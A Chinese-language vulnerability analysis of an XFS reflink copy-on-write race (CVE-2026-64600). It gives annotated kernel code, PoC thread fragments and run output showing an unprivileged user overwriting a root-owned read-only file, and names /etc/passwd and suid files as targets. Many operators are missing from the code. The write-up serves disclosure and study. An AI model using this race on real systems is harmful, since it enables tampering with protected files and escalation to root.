CVE-2026-64600 XFS文件系统 写入任意仅可读文件

发布时间:2026/7/30 6:56:05
CVE-2026-64600 XFS文件系统 写入任意仅可读文件
文章目录简介ioctl 创建clone文件漏洞发生poc设计poc执行参考简介CVE-2026-64600依赖xfs reflink特性reflink特性:数据块COW多个文件可以共享同一个数据块多个文件拥有独立的inode元属性(文件大小、创建时间等)修改其他文件时被修改的块会创建新块原文件的块不变。可节省文件存储空间。使用ioctl(dfd, FICLONE, sfd)可以创建相对于sfd文件的克隆文件。漏洞发生在xfs COW期间存在一个竞态间隔DIRECT写入IO期间会短暂释放XFS INODE EXCL锁在这期间可能COW块落盘reflink块解除share导致本应写入到COW块的信息被直接写入到原文件的块(期间落盘但没更新落盘信息使用了原始share的块信息share块和src文件reflink)中。漏洞可造成任何可读文件(即使是普通用户可读的root属主文件)被写入任意内容通过创建文件的克隆文件向克隆文件中写入影响原文件包含suid文件、密码配置文件。漏洞不会直接影响page cache原文件如果有page cache需要drop cache后才会显示篡改内容漏洞静态条件利用的竞态窗口极小但百分百可复现手动搭建关键路径sleep的环境中稳定复现。检查方法假设挂载点/使用了xfs文件系统# xfs_info / | grep ref reflink1 bigtime1 inobtcount1 nrext641reflink1表示使用了reflink特性受影响代码注释与poclinux_6.6-58-commentioctl 创建clone文件用户态通过以下方法clone src文件的[0, len)到dst中int sfd open(src, O_RDONLY); int dfd open(dst, O_RDWR | O_CREAT | O_TRUNC, 0644); ioctl(dfd, FICLONE, sfd)最终调用xfs_reflink_remap_blocks完整循环读取src中的一部分内容remap到dst中src的数据块reflink计数1/* Remap a range of one file to the other. */ int xfs_reflink_remap_blocks( struct xfs_inode *src, loff_t pos_in, struct xfs_inode *dest, loff_t pos_out, loff_t remap_len, loff_t *remapped) { struct xfs_bmbt_irec imap; struct xfs_mount *mp src-i_mount; xfs_fileoff_t srcoff XFS_B_TO_FSBT(mp, pos_in); xfs_fileoff_t destoff XFS_B_TO_FSBT(mp, pos_out); len min_t(xfs_filblks_t, XFS_B_TO_FSB(mp, remap_len), XFS_MAX_FILEOFF); while (len 0) { /* Read extent from the source file */ nimaps 1; error xfs_bmapi_read(src, srcoff, len, imap, nimaps, 0); // 填充src的[srcoff, srcofflen)内容extents|hole到imap[*nimaps]中 /* Remap into the destination file at the given offset. */ imap.br_startoff destoff; // 调整为写入到dst的destoff位置 error xfs_reflink_remap_extent(dest, imap, new_isize); // remap imap - dst中#0 xfs_reflink_remap_blocks (srcsrcentry0xffff888007150c00, pos_inpos_inentry0, destdestentry0xffff888007150800, pos_outpos_outentry0, remap_lenoptimized out, remappedremappedentry0xffffc900006cfd60) at fs/xfs/xfs_reflink.c:1406 #1 0xffffffff8159984b in xfs_file_remap_range (file_in0xffff888006418c00, pos_in0, file_out0xffff888006418700, pos_out0, lenoptimized out, remap_flags0) at fs/xfs/xfs_file.c:1195 #2 0xffffffff81390f85 in do_clone_file_range (file_infile_inentry0xffff888006418c00, pos_inpos_inentry0, file_outfile_outentry0xffff888006418700, pos_out0, len0, remap_flags0) at fs/remap_range.c:396 #3 0xffffffff81391193 in vfs_clone_file_range (file_infile_inentry0xffff888006418c00, pos_inpos_inentry0, file_outfile_outentry0xffff888006418700, pos_outpos_outentry0, lenlenentry0, remap_flagsremap_flagsentry0) at fs/remap_range.c:414 #4 0xffffffff8135aba2 in ioctl_file_clone (dst_filedst_fileentry0xffff888006418700, srcfdsrcfdentry3, offoffentry0, olenolenentry0, destoffdestoffentry0) at fs/ioctl.c:240 #5 0xffffffff8135aece in do_vfs_ioctl (filpfilpentry0xffff888006418700, fdfdentry4, cmdcmdentry1074041865, argargentry3) at fs/ioctl.c:821 #6 0xffffffff8135b809 in __do_sys_ioctl (arg3, cmdoptimized out, fdoptimized out) at fs/ioctl.c:869 #7 __se_sys_ioctl (arg3, cmdoptimized out, fdoptimized out) at fs/ioctl.c:857 #8 __x64_sys_ioctl (regsoptimized out) at fs/ioctl.c:857以下两行位置负责增加计数和remap操作/* * Remap the given extent into the file. The dmap blockcount will be set to * the number of blocks that were actually remapped. */ STATIC int xfs_reflink_remap_extent( struct xfs_inode *ip, struct xfs_bmbt_irec *dmap, xfs_off_t new_isize) { xfs_refcount_increase_extent(tp, dmap); // dmap是src文件读取而来 增加引用计数 xfs_bmap_map_extent(tp, ip, dmap); // 1387行调整了dmap的offset为dst的offset 现在map到dst中┌──────────────────┐ ┌──────────────────┐ │ src inode │ │ dst inode │ ├──────────────────┤ ├──────────────────┤ │ extent: │ │ extent: │ │ br_startoff0 │ │ br_startoff0 │ │ br_startblockN │ │ br_startblockN │ │ br_blockcount1 │ │ br_blockcount1 │ └────────┬─────────┘ └────────┬─────────┘ │ │ │ (same physical │ │ block N) │ └──────────┬──────────────┘ │ ▼ ┌─────────────────────┐ │ Data Block N │ │ refcount 2 │ │ content: 0000.. │ └─────────────────────┘漏洞发生漏洞发生关键位置在xfs_direct_write_iomap_begin-xfs_reflink_allocate_cow-xfs_reflink_fill_cow_hole首先是xfs_direct_write_iomap_begin函数中iomap是要写入信息存放的块函数的作用是找到合适的块设置iomap当src、dst两个文件使用share块时候需要分配一个新的cow块当dst文件位置已经写入过不再是share块时候直接写入到对应的块即可。xfs_direct_write_iomap_begin先收集现在的文件使用的块信息在imap中这个时候是读取信息所以使用的是XFS_ILOCK_SHARED锁类似于某些语言运行时用户态的读写锁允许读重入这是这次漏洞埋下的第一个问题升级共享锁为排他锁必须等所有共享持有者释放所以只能先释放再重新获取产生了竞态窗口因此后续涉及修改信息要切换锁导致切换锁的间隔发生了竟态问题。接下来使用xfs_reflink_allocate_cow如果是shared表示xfs_reflink_allocate_cow已完成cow块分配接下来写入到cow fork中cmap是cow后的mapcmap块转移到iomap表示要写入到cmap中的块中这是正常情况的路径。imap(共享块P) ──需要COW──► allocate_cow ──► cmap(COW新块Q) ──► cmap→iomap当不是shared时候表示这个块已经是dst文件私有的了直接imap转移到iomap即可表示直接使用原有的块即可。漏洞发生在需要cow时短暂的竟态导致另一个写入线程又发生了一次写入相同的块且切入成功了这时imap没有更新存储的还是share块但xfs_reflink_allocate_cow报告竟态后的块已经不是shared(用旧的imap块号查询旧块号因为其他线程分配过cow了所以不再是shared仅由src文件使用)可以直接写入不用cow了导致写入到了最开始的其实是shared的块也就是写入到了和src文件共用的块。线程A: imap(共享块P) ──► 需要COW ──► xfs_reflink_allocate_cow ──► 释放ILOCK 线程B: 获取ILOCK ──► 分配COW块Q ──► end_cow: Q→data fork, P的refcount 2→1 ──► 释放ILOCK 线程A: 重新获取ILOCK ──► 用imap(旧块P)查refcount btree ──► P的refcount1 ──► *sharedfalse COW被跳过 ──► imap(旧共享块P)→iomap ──► src文件被破坏!static int xfs_direct_write_iomap_begin( struct inode *inode, loff_t offset, loff_t length, unsigned flags, struct iomap *iomap, struct iomap *srcmap) { unsigned int lockmode XFS_ILOCK_SHARED; // 使用share锁 暂时只读 CVE-2026-64600相关 后面需要升级排他锁导致短暂释放锁 error xfs_bmapi_read(ip, offset_fsb, end_fsb - offset_fsb, imap, nimaps, 0); // 填充ip的[offset_fsb, end_fsb)内容extents|hole到imap[*nimaps]中这时候获取的imap块号src|dst文件一致 /* may drop and re-acquire the ilock */ error xfs_reflink_allocate_cow(ip, imap, cmap, shared, lockmode, (flags IOMAP_DIRECT) || IS_DAX(inode)); if (error) goto out_unlock; if (shared) goto out_found_cow; return xfs_bmbt_to_iomap(ip, iomap, imap, flags, iomap_flags, seq); // imap 原始share块 - iomap块数据接下来会被写入到iomap块中 out_found_cow: length XFS_FSB_TO_B(mp, cmap.br_startoff cmap.br_blockcount); trace_xfs_iomap_found(ip, offset, length - offset, XFS_COW_FORK, cmap); if (imap.br_startblock ! HOLESTARTBLOCK) { // 原来这里不是hole 有share块 seq xfs_iomap_inode_sequence(ip, 0); error xfs_bmbt_to_iomap(ip, srcmap, imap, flags, 0, seq); // srcmap - imap dio完成后这些块需要接触映射 if (error) goto out_unlock; } seq xfs_iomap_inode_sequence(ip, IOMAP_F_SHARED); xfs_iunlock(ip, lockmode); return xfs_bmbt_to_iomap(ip, iomap, cmap, flags, IOMAP_F_SHARED, seq); // cmap - iomap xfs_dax_write_iomap_end时候cow块写入data forkxfs_direct_write_iomap_begin中间层会收集现在的块信息到/* Allocate all CoW reservations covering a range of blocks in a file. */ int xfs_reflink_allocate_cow( struct xfs_inode *ip, struct xfs_bmbt_irec *imap, struct xfs_bmbt_irec *cmap, bool *shared, uint *lockmode, bool convert_now) { // ip-i_cowfp是临时的本次写入有效临时存储需要cow的块 ref: __iomap_dio_rw-iomap_iter-xfs_direct_write_iomap_begin 循环处理 error xfs_find_trim_cow_extent(ip, imap, cmap, shared, found); // cow中本次imap需要操作的空间 cmap目标空间 share是否被共享|需要COW found true表示目标是content不是hole /* * CoW fork does not have an extent (clone完成后还没写入覆盖) and data extent is shared. * Allocate a real extent in the CoW fork. */ if (cmap-br_startoff imap-br_startoff) return xfs_reflink_fill_cow_hole(ip, imap, cmap, shared, lockmode, convert_now);xfs_reflink_allocate_cow负责收集现有的cow fork中的块信息当第一次写入时候cow fork中是空洞都是share块块信息都在imap中/* Allocate all CoW reservations covering a range of blocks in a file. */ int xfs_reflink_allocate_cow( struct xfs_inode *ip, struct xfs_bmbt_irec *imap, struct xfs_bmbt_irec *cmap, bool *shared, uint *lockmode, bool convert_now) { // ip-i_cowfp是临时的本次写入有效临时存储需要cow的块 ref: __iomap_dio_rw-iomap_iter-xfs_direct_write_iomap_begin 循环处理 error xfs_find_trim_cow_extent(ip, imap, cmap, shared, found); // cow中本次imap需要操作的空间 cmap目标空间 share是否被共享|需要COW found true表示目标是content不是hole /* * CoW fork does not have an extent (clone完成后还没写入覆盖) and data extent is shared. * Allocate a real extent in the CoW fork. */ if (cmap-br_startoff imap-br_startoff) return xfs_reflink_fill_cow_hole(ip, imap, cmap, shared, lockmode, convert_now);xfs_reflink_fill_cow_hole因需要创建提交事务而需要提升锁导致竟态发生正常时候imap信息的块依然是shared的需要分配cow走到xfs_bmapi_write新分配块但竟态导致没有刷新imap信息此时可能被其他线程影响导致已发生过cow这时候imap中的块不再是sharedshared为false导致直接返回上层认为可以直接写入到现在的非share块了也就直接写入到src文件中了。static int xfs_reflink_fill_cow_hole( struct xfs_inode *ip, struct xfs_bmbt_irec *imap, // 需要cow的位置信息 struct xfs_bmbt_irec *cmap, // cow fork中的信息 bool *shared, uint *lockmode, bool convert_now) { xfs_iunlock(ip, *lockmode); *lockmode 0; /* CVE-2026-64600: inject delay to widen ILOCK cycle race window */ msleep(10); error xfs_trans_alloc_inode(ip, M_RES(mp)-tr_write, resblks, 0, false, tp); // 创建事务 *lockmode XFS_ILOCK_EXCL; // xfs_trans_alloc_inode成功会保持XFS_ILOCK_EXCL // 这里刷新了cow fork 此时cow fork可能又被清空 搬到了data forkdata fork中的块不是share了 错误走到415行 没刷新imap error xfs_find_trim_cow_extent(ip, imap, cmap, shared, found); // cow中本次imap需要操作的空间 cmap目标空间 share是否被共享|需要COW found true表示目标是content不是hole if (error || !*shared) goto out_trans_cancel; /* Allocate the entire reservation as unwritten blocks. */ error xfs_bmapi_write(tp, ip, imap-br_startoff, imap-br_blockcount, XFS_BMAPI_COWFORK | XFS_BMAPI_PREALLOC, 0, cmap, nimaps); // alloc块到cmap中即cow fork中, cmap-state XFS_EXT_UNWRITTEN 表示已分配块但未写入数据, cmap-br_startblock有值poc设计do_ficlone创建相对于src文件的clone dst文件其中src文件仅仅要求可读权限即可dst文件可由普通用户创建static void do_ficlone(const char *src, const char *dst) { int sfd open(src, O_RDONLY); int dfd open(dst, O_RDWR | O_CREAT | O_TRUNC, 0644); if (ioctl(dfd, FICLONE, sfd) 0)三个线程前两个并发写入dst文件线程工作内容一致一个用于检查src文件是否被修改修改后同步退出即可pthread_create(t1, NULL, dio_writer, dio_fd); pthread_create(t2, NULL, dio_writer, dio_fd); pthread_create(tc, NULL, src_checker, NULL);两个并发写入dst文件的线程不断尝试向dst文件中写入一个块的字符1内容static void *dio_writer(void *arg) { int fd *(int *)arg; void *buf aligned_buf(); memset(buf, 1, BS); for (int i 0; i 50 !stop_flag; i) pwrite(fd, buf, BS, 0);读src文件使用O_DIRECT避免page cache影响本次漏洞利用时不会修改page cache而会直接修改硬盘内容当读取到不是内容字符’0’时退出表示篡改src文件成功static void *src_checker(void *arg) { int fd open(src_path, O_RDONLY | O_DIRECT); for (int i 0; i 1000 !stop_flag; i) { if (((unsigned char *)buf)[0] ! 0) { fprintf(stderr, [!] SRC CORRUPTED block %d: expected 0 got %c (0x%02x)\n, 0, ((unsigned char *)buf)[0], ((unsigned char *)buf)[0]); stop_flag 1; close(fd); aligned_free(buf); return (void *)1;poc执行漏洞竞态窗口很小复现概率不高但重复执行百分百总能复现到在漏洞位置手动添加sleep可显著提升复现概率准备xfs环境创建xfs的img文件挂载到/mnt/xfs_test同时需要/mnt/xfs_test文件夹权限开放普通用户权限这样允许普通用户在此文件夹中创建普通用户文件漏洞利用需要普通用户在此挂载点拥有可创建普通用户文件权限# dd if/dev/zero of./xfs_reflink.img bs1 count0 seek300M # mkfs.xfs -f -m reflink1 ./xfs_reflink.img # mkdir -p /mnt/xfs_test # chmod 777 /mnt/xfs_test # mount -o loop ./xfs_reflink.img /mnt/xfs_test准备cow_src文件该文件属主为root普通用户仅仅拥有读权限文件内容是1个块的字符’0’# dd if/dev/zero bs4096 count1 | tr \0 0 | dd of/mnt/xfs_test/cow_src bs4096 count1 # ll /mnt/ total 0 drwxrwxrwx 2 root root 21 Jul 29 02:35 xfs_test # ll /mnt/xfs_test/ total 32 -rw-r--r-- 1 root root 32768 Jul 29 01:46 cow_src # hexdump -C /mnt/xfs_test/cow_src 00000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|使用普通用户执行poc会创建clone可读文件/mnt/xfs_test/cow_src的普通用户文件/mnt/xfs_test/cow_dst对于大多数suid、软件配置文件属主可能是root但对其他用户普遍拥有读权限eg:-rw-r--r-- 1 root root 1075 Jun 5 02:11 /etc/passwd$ ./poc /mnt/xfs_test/cow_src /mnt/xfs_test/cow_dst [*] CVE-2026-64600 PoC [*] src0000..., dstFICLONE(src), write 1111... to dst, check src [*] src file: /mnt/xfs_test/cow_src [*] dst file: /mnt/xfs_test/cow_dst [!] SRC CORRUPTED block 0: expected 0 got 1 (0x31) [!!!] round 2: SRC CORRUPTED! VULNERABILITY TRIGGERED! O_DIRECT write to dst bypassed CoW, corrupted src shared blocks. Check: hexdump -C /mnt/xfs_test/cow_src | head通过向dst文件中并发写入触发漏洞最终写入到src文件中# hexdump -C /mnt/xfs_test/cow_src | head 00000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| # 需要清除page cache后可见文件已实际修改 # echo 3 /proc/sys/vm/drop_caches [ 1158.056119] bash (224): drop_caches: 3 # hexdump -C /mnt/xfs_test/cow_src | head 00000000 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 |1111111111111111|参考CVE-2026-64600: xfs: resample the data fork mapping after cycling ILOCK